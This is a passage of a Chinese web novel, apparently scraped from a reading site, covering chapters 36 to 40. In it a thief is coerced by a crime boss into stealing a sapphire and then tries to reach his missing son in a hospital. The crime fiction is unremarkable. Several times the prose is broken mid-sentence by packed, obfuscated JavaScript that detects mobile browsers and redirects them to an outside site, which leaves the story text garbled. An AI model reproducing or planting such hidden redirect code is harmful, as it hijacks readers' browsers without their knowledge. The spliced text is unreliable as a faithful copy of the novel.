那人身形匀称,不胖不瘦,头发是灰白色的,应该有些年龄,但是脸上的皱纹并算是多,依稀可见他年轻时的俊朗模样。 乍一看,这似乎是一个英俊且朴素的中年男人,可再一看,就会被他周身散发的压迫感震住,连整个房间的空气都因此变得沉重了。 看到这,南希对这人的身份已经有了预判,但又想到猴子男刚刚叫的那声“爸”,又对自己的预判产生了怀疑。 “我爸问你话呢!你是不是张南希!?”猴子男突然嚷起来。 眼前,那中年男人的脸倏地恍惚了。 南希连忙压低下巴,挤出一个“是”字。 长时间的抬头加剧了她的迷乱和眩晕,声音里透着一种虚弱感。 “我在这里等你很久了。”中年男人似乎笑了下,语气更加慈祥,就像跟晚辈拉家常一样。 南希扯了扯嘴角,想回笑,却没笑出来。 “劳您大驾……不知,您怎么称呼?” 中年男人避而不答,反倒关心起她:“你脸色很差,重明,你去给张小姐拿把椅子。” 那猴子男收到命令,利落地搬来一把木椅。 南希抬眼瞅瞅椅子,又瞅瞅自己身上捆得结实的麻绳,可算笑了出来:“您这啥意思?让我绑着坐椅子?您这待客之道,还真是奇特……不过,谢了。”她没有逞强,身体朝那猴子男晃了几下,“我起不来,坐不了,要不,少爷扶我?” 猴子男发出“嘶”的一声,似乎想要骂娘,可当着他老爹的面又不好发作,只能咬牙扶南希坐上木椅。 那中年男人便再次开口:“重明是我的干儿子。” 这句话是在解释。聪明人之间的对话一点就通,南希刚才的“少爷扶我”其实是在跟他确定重名的身份。 她的问题抛出来了,就看对方接不接了。 哪料,中年男人不仅接了,还没让南希继续猜下去,竟直接自报家门:“我姓温,单名一个四字。” 温四,济东无人不知无人不晓的black大佬,温雪生牛x哄哄的老爸。 在济东,几乎没人敢直呼他的名字,说起他时都会尊称一声温四爷。 果然跟她预判的一样—— “温四爷……”南希重复了一遍,然后强迫自己直视他,“您费这么大力气‘请’我来,是为了温雪生吗?” 温四微微颔首,双手优雅地交叠在膝盖上:“雪生脾气倔,最近这段时间做了一些出格的事。我听说,你和他走得很近……” 这话过于官方客套,南希不禁烦躁起来,而且迷药也让她比平时缺少了些耐心。 “等等,你不会一直在监督自己的儿子吧?”她打断温四,“温雪生现在在哪儿啊?他不在自己房间……难不成你把他关起来了?” “你他妈跟谁说话呢!”重明听不下去,挥拳想教育南希,却被温四制止。 温四好像没有因为南希的冒犯而生气,他语调不变:“你既然出现在这里,应该已经知道雪生病了。他现在,正在卢氏接受治疗。” 南希的意识飘回三个月前,温雪生躺在她的粉色小床上,浑身滚烫,热汗涔涔,像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温四嘴角的弧度加深了些,眼底浮上一丝难以察觉的杀意,如同暗流涌动。 沉默在两人之间蔓延,空气仿佛凝结了,房间里只剩下南希略显急促的呼吸声,以及窗外偶尔传来的细微风声。 温四交叠手指轻轻敲击手背,他虽然只是静静地看着南希,但那目光仿佛有千钧重。 南希感到身上的秋衣已经被冷汗浸透,麻绳似乎勒得更紧了。 终于,温四打破了这令人窒息的死寂:“别慌,我只是想请你帮个小忙。”然后,他朝南希身后的重明递去一个眼神。 重明会意,上前一步,右手探向口袋。 就在这一刹那,南希猛然从椅子上弹起,动作快得只留下一道残影。 只见她敏捷转身,抬腿翻到椅背之后,在重明惊愕的瞳孔下一晃而过,随即以手作刀,精准狠厉地劈上重明的后颈。 重明那猴子眼往天上一翻,连哼都没哼一声,直接栽倒在地。 几分钟前,重明用迷药偷袭南希,她借用捂口鼻的机会,将一粒解药塞进了嘴里。 她毕竟是大名鼎鼎的“红发女鬼”,职业习惯让她随身携带各种应急的东西,迷药解药自然也在其中。只是解药生效需要时间,她耐着脾性与温四周旋,既为拖延,也为观察,更为等待体内药物发挥效果。 她向来狗屎运,就豪赌一把,赌自己的运气比温四好上那么一点。 果然,赌赢了,时机刚好,她的意识和部分体力在周旋中恢复,让她得以在重明下手前先发制人。 不过,虽然一击得手,面对温四爷,南希也不敢有丝毫的松懈和得意。她稍稍侧身,露出半张脸,算是留给温雪生他爹最后一点礼节:“叔叔,抱歉,这个忙,我帮不了。”话音未落,她就转身扑向敞开的窗户,准备逃走。 这时,温四的声音再次在身后响起。 “那块蓝宝石,你还记得吗?” 37. 第 37 章 他的语调仍旧不紧不慢,却像无形的障碍绊住了南希的脚。 南希脑中“嗡”的一声,温雪生深邃如海洋般的蓝色左眼,以及躺在盒子里熠熠生辉的蓝宝石,清晰地浮现出来。 不祥的预感从头顶浇下,她走得越来越慢,全身的感官似乎都在等待温四的下一句话。 “那颗蓝宝石,就是他的左眼。” 那句话来了,像一道惊天的霹雳,“也是压制雪生体内毒素的关键。” 南希心跳失控,哐哐地撞击胸口。 她想起来,这段时间,她一次都没见过温雪生的左眼,无论是他俩聊天时还是在床.上.翻滚时,温雪生始终带着黑色眼罩,那眼罩就像长在他身上了一样…… 她不喜欢窥探别人的秘密,便没多问过什么,还以为温雪生是自卑,怕别人看到自己奇怪的左眼……可此时此刻,一个惊悚的猜测占据了她的整个大脑…… 温四的话还在继续,很快印证了这个猜测。 “作为父亲,我不称职。我今天才查清楚,三个月前,雪生就找人挖了他的左眼,取出了那块蓝宝石,然后……送了出去……” 南希被钉在了原地。 “所以,你现在,还想这样一走了之吗?” 南希感到自己快要被温四压扁、压烂、压出喷涌的血浆。 她杵在窗边,白色纱帘在夜风下狂乱飞舞,肆意击打她的脸。 拳头被死死攥紧,指甲深陷进掌心,视线落在窗外。 楼下黑乎乎的草地好像比以前更黑了,但那不是夜晚的小草所呈现出的黑,而是乌压压站了满地的人。 那些人穿着黑衣服,拿着黑铁棍,仿若凝聚在暗夜里的幽灵。 幽灵们整齐地仰着头,几百双黑眼睛,齐刷刷地,穿透黑暗,牢牢锁定在三楼窗口,锁定在她的身上。 * 晚七点,小张拉面。 刘总推开油腻的玻璃门,喧嚣声混着牛肉汤味扑面而来。面馆挤满了人,谈话声、吸溜面条的声、厨房的翻炒声交织成一片。他下意识皱了皱眉。 老板娘今天的头发盘得格外油,她看见刘总后就扭着腰迎上来,脸上堆满熟络的笑:“呦,来啦?吃点啥?” 刘总心不在焉地应付:“你这馆子生意可真好啊。”他伸着脖子,眼睛像探照灯一样在人头攒动的店里扫视。 这地方他来过三次,次次都是因为南希,且没一回顺当。第一次来时,南希更是抱着“大不了就倾家荡产”的架势把他约这儿,弄得他到今天都心里发毛。 老板娘看出他急躁,也知道他要找谁。上次他们父女和一个穿裙子的大帅哥实在令人印象深刻。她朝角落里努努嘴,说:“找你闺女吧?喏,那儿呢。” 刘总连句客套话都没顾不上,拔腿就往那边挤。 角落的桌子旁,南希趴着,乱糟糟的头发盖住了大半张脸,只露出耳朵尖和一小段脖子,那上面都泛着不正常的红色。 一个玻璃杯歪倒在她手边,杯子里剩着点橘黄色液体。 看起来像是酒。 “小张?”刘总走近喊她。 南希抬起头,眼神涣散,焦距半天才对准那个啤酒肚。 “刘……老刘!?” 她咧开嘴,抓起杯子就往刘总手里递:“来,喝……喝一口!” 刘总见她这副摸样,火气“噌”地顶到喉咙口,就要问候她老娘,可四周都是人,他又硬生生把话给咽了回去,铁青着脸在她对面重重坐下。 南希却不罢休,胳膊晃悠悠地伸过去,杯子乱颤,差点就戳到刘总的眼睛。 刘总终于忍不住了,一把打开她的手,声音压得很低,却带着火星子:“你看看你像什么样!吃个拉面都能把自个儿灌成这副德性!你吵着要隐退,就是为了天天泡在酒精里,糟蹋日子吗?!” 南希像是被这话刺了一下,举杯子的手僵在半空,然后慢慢垂下,连带着她的肩膀、脑袋都耷拉下去,整个人像被抽了骨头,软软地瘫在凳子上,没了魂儿。 刘总慌了。 他突然意识到,认识南希这么多年,从没见她沾过酒,更别说醉成这样。他赶紧放软了语气:“咋整的这是?从你提隐退就起我就觉得不对劲了。你真遇上过不去的坎了?小张啊,有啥就跟我说,我指定想法子帮你!” 这段话,南希只听到“隐退”俩字,她的眼睛似乎亮了一下,开口问:“我的隐退申请……你交了吗?” 刘总心口一抽。那份申请,他今天才咬着牙、含着泪传真出去。他一万个不想她走,别说组织损失,南希要是真隐退走了,他们就没啥关系了,以后怕是很难再见了,他舍不得。 可今天她突然约他,他又怕被追问这事,再加上之前在电话里头,南希一直坚持、不留余地,他就决定尊重她的意思,在出门前向组织发了传真。 他点点头:“嗯,交了。” “交了?!”南希突然声音拔高,身体前倾,差点撞到桌子,“你不是不想我隐退吗?怎么说交就交了?!” 刘总眼皮直跳,压着嗓子:“你吼啥?不是你铁了心要隐退吗?!我拦得住?!等等……你这话……小张,你后悔了?我,我现在赶紧回去,再发个传真说撤回,肯定来得及!” 南希眯起眼,浑浊的瞳孔似乎清明了一瞬:“刘总,听你这意思……那传真你好像刚发没多久啊。” 刘总立马闭上嘴,不吱声了,心里嘀咕:她究竟醉没醉啊? “唉,算了算了。”南希摆摆手,像在赶苍蝇:“你也不用回去撤了。”她又趴上桌子,“刘总,我问你,这申请,组织多久能批?” 刘总回:“没准儿,快的话,当天;慢的话,拖个把礼拜也有可能。” 南希整个人又凑近了些,神秘兮兮:“那……只要组织一天不批,我就还是组织的人,对吧?” 刘总下意识往后仰了仰:“按规矩,应该……对,对吧。” “是组织的人,是不是就能申请去总部看看?” 一听这话,刘总心里警铃大作:“小张,你,你想干啥?” 南希一拍桌子,震得碗筷乱响。 “还能干啥,我要申请去总部啊!” 刘总吓得差点从凳子上滑下去,声音都变了调:“去总部?!你疯了?!那是你想去就能去的地方吗?做梦……” “刘总,你也不知道总部在哪儿吧?”南希打断他,目光直直地戳过去,“也不知道总部里有哪些人,对吧?” 这话,刘总反驳不了。他替组织干了大半辈子的活儿,带过不下十个“执行人”。他这接头人的工作,说白了就跟明星经纪人似的,靠手里的资源捧人。可他跟总部的联系,从来就只有家里那台传真机和市区那个神神秘秘的典当行。像南希这种大红的执行人,接任务时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16527555|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能收到个总部的电话指令,而他连电话都没接过。 总部?他压根没敢多揣摩过一分。 眼前,南希又拍了拍桌子。 “刘总,给组织卖命这么多年,你就不好奇组织到底是个啥样?咱们拼死拼活弄来的那些宝贝,最后都送到哪儿去了?” 刘总张了张嘴,却发现喉咙干得发不出声。整颗心被一种虚飘飘的不真实感占据。 南希说的这些问题,他确实从来没想过。他的世界一直按部就班,他干活,拿钱,过日子,就像是上了发条的钟,向来循着既定的轨迹走…… “说话啊!”南希逼问,气息几乎喷到他脸上,“会不会,咱们弄那些宝贝,都藏在总部里啊?” 刘总舔了舔嘴唇,好不容易挤出几个字:“小张,你……你喝多了。” 南希盯着他看了几秒,眼里透出失望。 然后,她仰头把杯子里的液体一口灌下,用力抹了把嘴,用命令的语气说:“好了,刘总,咱别废话了,既然我现在还是执行人,接头人就得无条件满足我的要求。你帮我打申请,我要去总部。” 刘总的手都在抖,问题也蠢:“怎……怎么申请?” 南希斜视他:“这还用问?发传真!除了这个,你还有别的路子吗?” “小张,你总得告诉我,你去总部到底要干什么吧……”刘总近乎恳求。 南希顿了下,突然嘿嘿一笑:“老刘啊,你不是一直都说,你拿我当自己人吗?好,我就告诉你,但你不能写在传真上。”她站直,身体晃了晃,深吸了一口气,大声吆喝道:“我要去偷蓝——” 周围几桌的客人被她的声音吸引,齐刷刷看了过来。 刘总吓坏了,几乎是扑过去,一手死死捂住南希的嘴,一手用力把她按回凳子上。然后他哈着腰对四周赔笑:“对不住,对不住!孩子喝多了,胡咧咧呢!大家吃好喝好!” 南希挣开他,没再喊叫,只是摇摇晃晃地站起来,从裤兜里摸出一张卷了边的五十块钱,“啪”地拍在油乎乎的桌面上。 “这顿我请!”她瞪着刘总,眼神浑浊却不容置疑,“申请,别忘了啊!”说完,她转身,趔趔趄趄地穿过拉面馆,推门消失在夜色里。 刘总没去追,或者说,他不敢去追。他怕追上她,再从她嘴里听到些别的惊悚的话。他试图安慰自己:小张是醉了,说的全是醉话,等她酒醒了,一切就正常了。 这样想着,他的目光落在桌面,一个标有“特酿”的陶罐上。他端起陶罐,晃了晃,闻到酒味,然后往杯子里倒了点儿。 出来的是橘黄色的液体,跟南希喝的一样。 他便抓过杯子,迟疑地抿了一小口。 一股明显的酸甜味在舌尖化开,还有很浓的香精气。 他愣住,站起来朝柜台方向招手:“老板娘!快,来一下!” 老板娘扭过来:“咋啦?还要加点啥?” 刘总手哆嗦,指那陶罐:“这……这到底是不是酒?” 老板娘笑了,满脸得意:“呦,你喜欢这个啊?喜欢就带一瓶回去呗。咱家自己兑的饮料,样子像酒,闻着也像,其实就是糖水儿,不上头。” 刘总“嘭”地坐回凳子,大脑这才反应过来,刚才南希说了什么: 我要去偷蓝—— 蓝宝石?! 他攥紧盛糖水的杯子,半天没动。 38. 第 38 章 空旷的马路,切诺基以40迈的速度行驶。 南希指间夹着烟,手搭在车窗框上,时不时弹一下烟灰。夜风把烟味吹散,却吹不散她脑子里的那团乱麻。 虽然她已经做足了预设,却还是低估了温四爷。 温沙城堡楼下密密麻麻、像草一样的打手是对她的警告。 她压根就没有从他手上逃走的机会。 五天,从组织里盗取蓝宝石。这是温四爷和她达成的最终交易,如果做不到……她这个“根源”,可能就会被彻底掐灭…… 可是,去一个靠偷东西起家的组织里偷东西,这件事本身就够荒唐。组织对她来说,像个庞大无形的黑影,她根本就摸不着边。但时间卡在脖子上,她不能停,按照以往的经验,只有先动起来,路才会在脚下一步步踩出来。 让刘总打申请去总部,是第一步,也是最常规、最简单的一步。刘总那人,嘴上虽爱唠叨,可事肯定会办。 走完这一步,她的思路好像清晰了点。打申请去组织只为碰运气,如果能被批准,那是她的幸运,不批才是正常,所以,她还需要走出接下来的第二、第三、第四步…… 首先,她不能完全按温四爷的节奏来。温雪生现在的病情如何?他挖眼睛的事是真是假?这些她都得亲自确认。 其次,要跟温四爷这种黑白通吃的大佬掰手腕,她需要帮手。 视线里,一个发着昏黄光线的灯牌渐渐清晰。 南希踩住了刹车。 那光线勾勒出五个字:开运全羊馆。 这时,全羊馆的门“吱呀”一声开了。 身穿红旗袍、鬓角簪大红花的老板娘孙红走了出来。 她隔着车窗看南希,却不说话。 南希也不吭声,直接推门下车,昂着头朝馆子走去。 两人擦肩时,孙红才转过身,声音冷冰冰的:“不是说不入伙么?怎么又找上门了?” 南希没接茬,她心情不好,语气便也冲了些:“老板娘特意出来接我,该不会这次,你这小破店又歇业在等我吧?” 孙红很是不快,微扬起下巴:“别把自己想得太金贵。” 南希像没听着,径自进了馆子。 全羊馆灯光昏暗,只有角落一桌坐着个客人。那人穿着灰蓝布衣,脖子上挂着佛珠,竟是个和尚。 但南希没心思奇怪别的事,只扫了一眼,就随便找了张桌子坐下了。 孙红跟进来,从柜台上拿了张红色菜单,冲她说:“吃点什么?” 南希一愣,抬眼瞅她:“你应该知道,我不是来吃饭的。” “这是饭馆,”孙红把菜单放她面前,似乎还在继续刚才的挑衅,“不吃饭不欢迎,有事吃完饭说。” 南希的肚子“咕嘟”叫了一声,她尴尬地眨巴了两下眼,突然觉得的确得先吃饭。 五分钟后,一碗热气腾腾的羊肉面端上了桌。 十分钟后,面快见底,张笑远推门而入。他的气息有点急,像是被人从外面匆匆叫回来的。 见管事儿的人到了,南希赶紧端起碗,把最后几根面条和汤底扒拉进嘴里,然后抹了把嘴角的油渍,饱饱地开口:“我可以加入你们。” 话少,事大。 可张笑远脸上竟没什么表情,连旁边的孙红也只是眼神动了动。 大家都是明白人,其实从南希踏进这里起,她的决定就已经摆在了台面上。 孙红只是没想到她决定得这么快,表达得这么直白。说实话,她不太喜欢南希,谁会真心喜欢一个挫过自己锐气的人? 南希见他们不出声表态,很快意识到这是在等她的下文。毕竟她说的是“我可以加入你们”,这句话后面一般还会跟着一句“但是”。 她识趣,接着把这个但是说了出来:“但是,前提是你们需要帮我两个忙。” 孙红皱眉:“为什么是两个?” “你们测试了我两次,”南希迎上她不爽的目光,“我让你们帮两次,这很公平。再说,你们考验我后才决定让我加入,我也不是随便的人,也得看看你们的斤两。唉,毕竟我在以前的组织里,钞票大把大把的赚。而你们‘破晓’,又能给我什么呢?” 张笑远沉吟了一下,觉得她说得在理:“的确很公平,你想让我们帮什么?” 南希喜欢张笑远这点,正要开口,突然瞥了眼店里那个一直安静坐着的和尚。 意思是有外人,不方便说。 这时,那和尚站起,走到近前,双手合十,朝南希微微躬身:“阿弥陀佛,贫僧释行,南山清心寺修行,于‘破晓’内,行五。” 话说得文绉绉,但还算容易理解:这和尚也是破晓的成员,排行第五! 南希着实吃惊,破晓里还真是什么人都有啊……还有那个清心寺……这地方有点耳熟。 她仔细打量眼前的和尚,很年轻,眉眼清秀,僧袍洗得发白却很干净。猛地,她想起来了——清心寺,王有才捐款的那个寺庙!也是打造白玉佛的那个寺庙!难怪上次白玉佛任务,处处透着破晓的影子…… 边上,孙红的脸色因为和尚的话,有点儿不自然。 南希立马意识到原因,暗暗偷笑。看来这次,破晓还真是又歇业专门等她呢。 她忽地对破晓这个组织,生出了一点微妙的信心,那是一种踏上正轨获得主角光环的感觉。 她便转向张笑远,直接了当:“我想让你们帮的忙是——一,帮我进入卢氏医院的VIP病房;二,帮我找到蓝宝石。” * 卢氏医院,顶层VIP区,一个昏暗病房。 房内拉着厚重的窗帘,却没开灯。阳光透过窗帘的缝隙射进来,映出缭绕的灰白色烟雾,让这房间显得像仙境一样。 一高一矮两个仙人置身仙境,他们周身的烟气最重,所以他们的轮廓也最为模糊。 仙人一边制造烟气,一边交谈。 “郑司令,你到底来干什么的?给我交个底。” “看不出来?必然是跟你一样啊。” “这地方都有我了,你凑什么热闹?” “说你脑子不灵光,还真是不灵光。”那个属于郑司令的声音顿了顿,意味深长地继续,“唉,老大不放心你啊。” 另外的声音沉默了一会儿:“别想挑拨我们父子之间的关系。” “呦,还父子呢,我怎么瞅不出来?瞧瞧你这待遇吧!躺在最里面那个病房的,才跟他是父子……” …… 走廊最近里面的至尊VIP病房,温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16542688|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪生正安静地躺在那里。 这间病房非常大,墙壁贴着暗纹丝绸壁布,天花板吊着水晶灯,靠墙的位置摆着一套真皮沙发和红木茶几,要不是空气里弥漫着浓重的消毒水味,没人能猜出这是一间病房。 病房中央的多功能床上,温雪声闭着眼,氧气面罩覆盖了他的大半张脸,他的胸口随着呼吸微微起伏着。 他边上,监控心电的仪器亮着屏幕,曲线正在规律地跳动。 门被轻轻推开,卢院长走了进来。 他看了眼温雪生,又瞥向旁边。 一个小护士瘫在椅子上,似乎睡着了。 他不禁皱起眉头,走过去,轻轻推了推那护士。 小护士猛然惊醒,看到院长,吓得一哆嗦,差点叫出来。 卢院长虚着嗓子让她注意动静。 她又赶紧用手堵住了嘴。 卢院长无奈地摇了摇头,然后拿出手机拨通护士长的电话,低声命令她立刻过来一起守着温少爷。安排完这一切后,他才稍微松了口气,轻手轻脚地退出了病房。 可他一转身,竟闻到走廊上有一股淡淡的烟味。 不远处,有俩医生走过,似乎也闻到了这股气味,抱怨了一句,然后迅速走了。 卢院长便又提起心、皱起眉头,赶紧循着烟味找去。终于找到源头,是从一间虚掩着门的病房里传出来的。 这几天少爷在他这养病,这一层的vip病房都清了,没人住,怎么会有烟味?他想,肯定是有烟瘾的大夫偷着上楼来吸烟的。 这样一琢磨,他心头火起,一手推开病房,吼道:“谁在里面抽烟!?” 顿时,两双惊疑的眼睛穿过烟雾缭绕向他看来。 卢院长愣住,然后被烟气呛得咳嗽了一下,气势弱了下来:“是您二位啊……不过,少爷就在最头上那个病房修养,还是不要在这里吸烟的好……” 那两个人,一个长得跟猴子一样,另一个年老些,个头不高,贼眉鼠眼,虽然穿着衣冠楚楚,但一看就是个地痞流氓—— ——温四爷的干儿子温重明和济东地头蛇“郑司令”。 温重明吸了口烟,嬉皮笑脸地对郑司令说:“诶,郑司令,听着了没?这儿不能抽烟。” 郑司令瞅了他一眼,阴阳怪气:“里面躺着的是你弟,按理说,该你先把烟给掐了。” 两人互相瞪着,谁都没再说话,但夹着烟的手也都没动。 卢院长压着火气,不敢发作,只能默默打开洗手间的门,然后按下排气扇的开关。 昨天,温重名带着一堆黑打手进了医院,说是温四爷安排来保护少爷的。 他不懂了,少爷在他这还有什么需要保护的,济东市里,谁又敢在卢氏乱来呢?哪想今天一早郑司令又突然出现,也带了一帮打手,整得卢氏乌烟瘴气,都没法正常营业了…… 他有苦不敢言,现在就盼着少爷快点儿好,然后把这些祖宗送走。 卢院长从洗手间出来,笑着跟两位祖宗客套了几句,然后准备推门离开这熏死人的房间。 哪像,他的手还没放到把手上,门突然从外面被撞开了。 刚才那个打盹的小护士冲了进来,惊慌失色:“院长,出大事了,温,温家少爷不见了!” 39. 第 39 章 几分钟前。 南希顺利站在了卢氏医院护士长的面前。 她此行是释行给介绍的。 临行前,那光头和尚双手合十,轻描淡写地说护士长是清心寺的信徒,曾受过他的点化,可以信任。 事关重要,南希还想多问些什么,可和尚不再说了,她没辙,只得抱着试试的心态去跟护士长见面。 这位护士长是个四十岁左右的女人,皮肤白净,眼角有细密的纹路,或许因为在医院里工作,生老病死见得多了,平日里,她总给人一种情感冷漠的感觉。 可就是这么一个人,却在看到南希的刹那,眼睛里闪起了灼灼的光,就像是两簇被点燃的香火,虔诚、喜悦、甚至还带着点儿惶恐。 “您来了,”护士长的声音近乎颤抖,“我已经照释行师父说的,都弄好了。” “哦……”南希被她的目光照得有些不自在。 护士长似乎察觉到什么,冲她笑笑,没再多说话。她弯下腰,从桌子底下的储物格里取出一个包裹。里面是两套叠得方方正正的白色护士服,最上面还压着两顶同样纯白的护士帽。 “这套给您。”护士长拿出其中一套递给南希,低声说,“待会您穿上这衣服扮作护士,跟着我走就行。另一套,您先放在包里装好,待会儿见到温少爷后给他换上,到时候咱们一起出来,没人会留意我身边多出来的一个护士。” 护士长的安排很合理,南希在换衣服时感到一种难得的轻松。工作多年,她所有的任务行动都是自己设计,很少像现在这样跟着别人的计划走。她从更衣室走出来,问:“换好了,那么接下来呢?” 护士长双手合十:“阿弥陀佛,万事俱备,接下来,就只欠东风了。” 她的计划就像一把逐渐拉开的弓,现在箭已搭上,弦正一点点绷紧,只是缺少一个让箭顺利射.出.的契机——名正言顺踏入至尊VIP病房的契机。 这时,护士站的内部电话响了起来。护士长微不可察地一颤,迅速提起听筒。 “喂?是,院长……是的,我明白……小李可能确实经验不足,照顾不周……好的,好的,您放心,我马上过去替她。” 放下电话时,护士长的手指因为用力握着听筒而有些发白。 她转向南希,嘴唇略微哆嗦:“卢院长的电话,让我去至尊VIP病房照顾温少爷。” 契机来得突然,甚至可以说是如有神助。两人对视一眼,都从对方眼中看到了激动的火花。然后,她们没有一丝迟疑,几乎同时转身,走向电梯厅。 高跟鞋在走廊里急促的响着。 电梯缓缓关门,缓缓上升,又缓缓地开了门。 南希紧跟护士长,走出电梯,迈向走廊尽头的病房,步伐尽量保持平稳,但速度却不自觉地加快。 眼看至尊VIP病房越来越近,还有几步的距离,她就能见到温雪生了,突然,那扇厚重的病房门突然从里面被撞开,一个小护士踉跄着冲了出来。 她的动作又急又乱,就像背后有鬼在追似的,在看到护士长后,她脸上的慌张神情一下子达到了顶点,差点就要哭出来:“护……护士长!”她声音嘶哑,手指颤抖地指向身后的病房,“温,温少爷,他人没了!” * “什么叫不见了?!” 病房门口,卢院长双手抓着小护士的肩膀,前后摇晃。 哔—哔哔—— 哔哔哔—— 几乎是同一时间,病房里面,两道手机铃声尖锐地刺破了空气。温重名和郑司令在卢院长撕心裂肺的咆哮中,同时摸向自己的口袋,然后相视一眼,迅速接起电话。 听筒里传来差不多的焦急声音——“老大,医院门口乱套了,有骑摩托车的飞车党闹了大乱子!”。 同样焦急的声音,还出现在十几公里开外,济东大学的计算机学院。 刚到下课点,宫教授的公文包里,大哥大发出了突兀的轰鸣。 他匆忙地一划拉讲台上的课件,拎起包快步走出教室,把学生们收拾书本的窸窣声关在了身后。 走廊相对安静,他按下接听键,让话筒贴近耳朵:“喂?” “老宫!”一个焦急的男声传来。 这时,几个学生迎面走来,朝他恭敬地喊了声“宫教授”。 宫教授脸上挤出一丝尴尬的笑,脚下步伐加快,咬牙切齿地对着话筒说:“张笑远!都说了多少遍,别这样叫我了!” 那头的声音顿了一下,不以为意地回:“习惯了,不好改。先不说这个,有个急事得找你帮忙。”不容宫教授开口问“什么事”,电话里的声音就接着说,“你的学生,就是那个温少爷,他从卢氏医院消失了。我们正在找他,没找到。你找个借口联系下他家里那边,探探情况,有消息后给我回电话,那个,电话号码是——139……” 有女声说数字的声音在电话里响。 张笑远跟着那个声音说:“139,嗯……5216,8367。” 说完,他“咔哒”一声合上手机翻盖,将摩托罗拉还给了坐在切诺基驾驶座的女孩:“南希,你不是说你跟李管事很熟吗,我觉得你最好也打个电话到温沙城堡问问。掳走温雪生的事,他们很可能会怀疑到你头上,你得主动告诉他们不是你。” 南希透过车玻璃望着前方,叹了口气:“我说不是我,他们就会信?况且,我本来就是要掳走他的。”她用余光瞅了下后座的张笑远:“你说,现在这到底什么情况?温雪生能去哪啊?按理讲,咱们的计划天衣无缝,我顺利到了VIP病房,老板娘她们也为掩护我逃走顺利制造出了混乱,可怎么就晚了一步呢?……等等,该不会温雪生被他老爹的对家给绑架了吧?” 张笑远身体前倾,右手按在副驾驶的椅背上,试图让她冷静:“你先别乱琢磨,你把今天的经历跟我详细说说,咱们两个都好好想想,说不定就能想出什么遗漏的问题。” 南希回忆起她见到护士长之后的事,然后转过头,把脑海中的画面讲了出来,讲完,她忍不住抱怨:“那个小护士真是脑子不好,说什么温雪生人没了,我当时魂都快吓飞了,还好护士长冷静,多问了一句,原来她是说他人不见了,凭空消失了。” 张笑远还陷在南希讲述的故事里,没心思听她说别的,追问道:“后面呢?还发生了什么?” 南希便继续:“小护士那种脑子,她说的话我哪里敢全信?我立马就冲进病房查看情况,”她伸出手指,一项项清点,“病床上是空的,被子乱七八糟,我还翻了床底,查了衣柜,连窗帘后面都拉开看了,都没找到温雪生,连根他的头发丝都没瞧着!” 张笑远听完,指尖无意识地敲着座椅,其实从南希的第一句话起,他就觉得有哪里不对劲,但那个不对劲的点模糊不清,他抓不住。 “那么,检查完你就走了?”他问。 南希情绪激动:“不然呢?难道等着被抓个正着吗?我那会儿正急着找人呢,护士长突然推门进来,说那个小护士跑到另一个的病房去了,而且她听那边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她已经可以肯定,温雪生真是被人劫走了,而且情况比她想象的更复杂…… 心一点点往向下沉,在即将沉入谷底时,张笑远突然伸手,轻轻拍了拍她的肩膀。 她打了个激灵,一斜眼,发现张笑远面色发暗。 “现在开车,要快,我们好像被盯上了。” 南希立马恢复状态,回头坐正身体,视线迅速扫过侧后方和反光镜,双手几乎是本能地握紧了方向盘。 反光镜里,清晰地映出两个人:一个像钉在电线杆下的影子,手里举着报纸,眼睛却不在报纸上;另一个在稍远处的马路牙子上蹲着,指间的烟头忽明忽灭,却不见他吸上一口。 南希感到心脏抽了一下。 职业习惯让她随时留意周围的环境,如果她没记错,从她上车到现在,这两个人,连同他们的姿势,就没变过! 她腿下用力,右脚将油门猛踩到了底。 “嗖”的一声,切诺基窜了出去。 几乎在同时,反光镜里那两个人动了!他们不再伪装,看报的那个直接将报纸扔在地上,吸烟的那个迅速碾灭了烟头。 两个人的视线一齐望向了切诺基! 紧接着,一辆黑色越野车从侧后方的小路里急转弯冲出,一个急刹停在了他们身边。 那俩人利落地跳上车。 不等车门完全关紧,越野车就嘶吼着,像一道闪电,紧咬着切诺基的车尾追去。 40. 第 40 章 噗—— 一盆冷水浇了下去。 被绑在水泥地上的人打了个哆嗦。水珠从他过长的黑色刘海上滚落,冲走了他头上的黑布罩,然后顺着脸颊往下淌。 他身上的蓝白条纹病号服很快被浸透,紧贴着他消瘦的身体。 他缓慢地抬起头,露出了两只毫无神采的眼睛,左眼是灰白色的,像是一块化石,右眼虽然暗淡,却透着一股阴森。头顶的灯"嘶拉嘶拉"地亮着,让他的脸在明暗之间交替闪烁,只是那脸上不知什么时候又多了几条藏青色纹路,蜿蜒地爬过颧骨,很是骇人。 拿着水盆的小流氓被这张脸吓得倒退了一步,手一抖,把水盆朝他砸去。 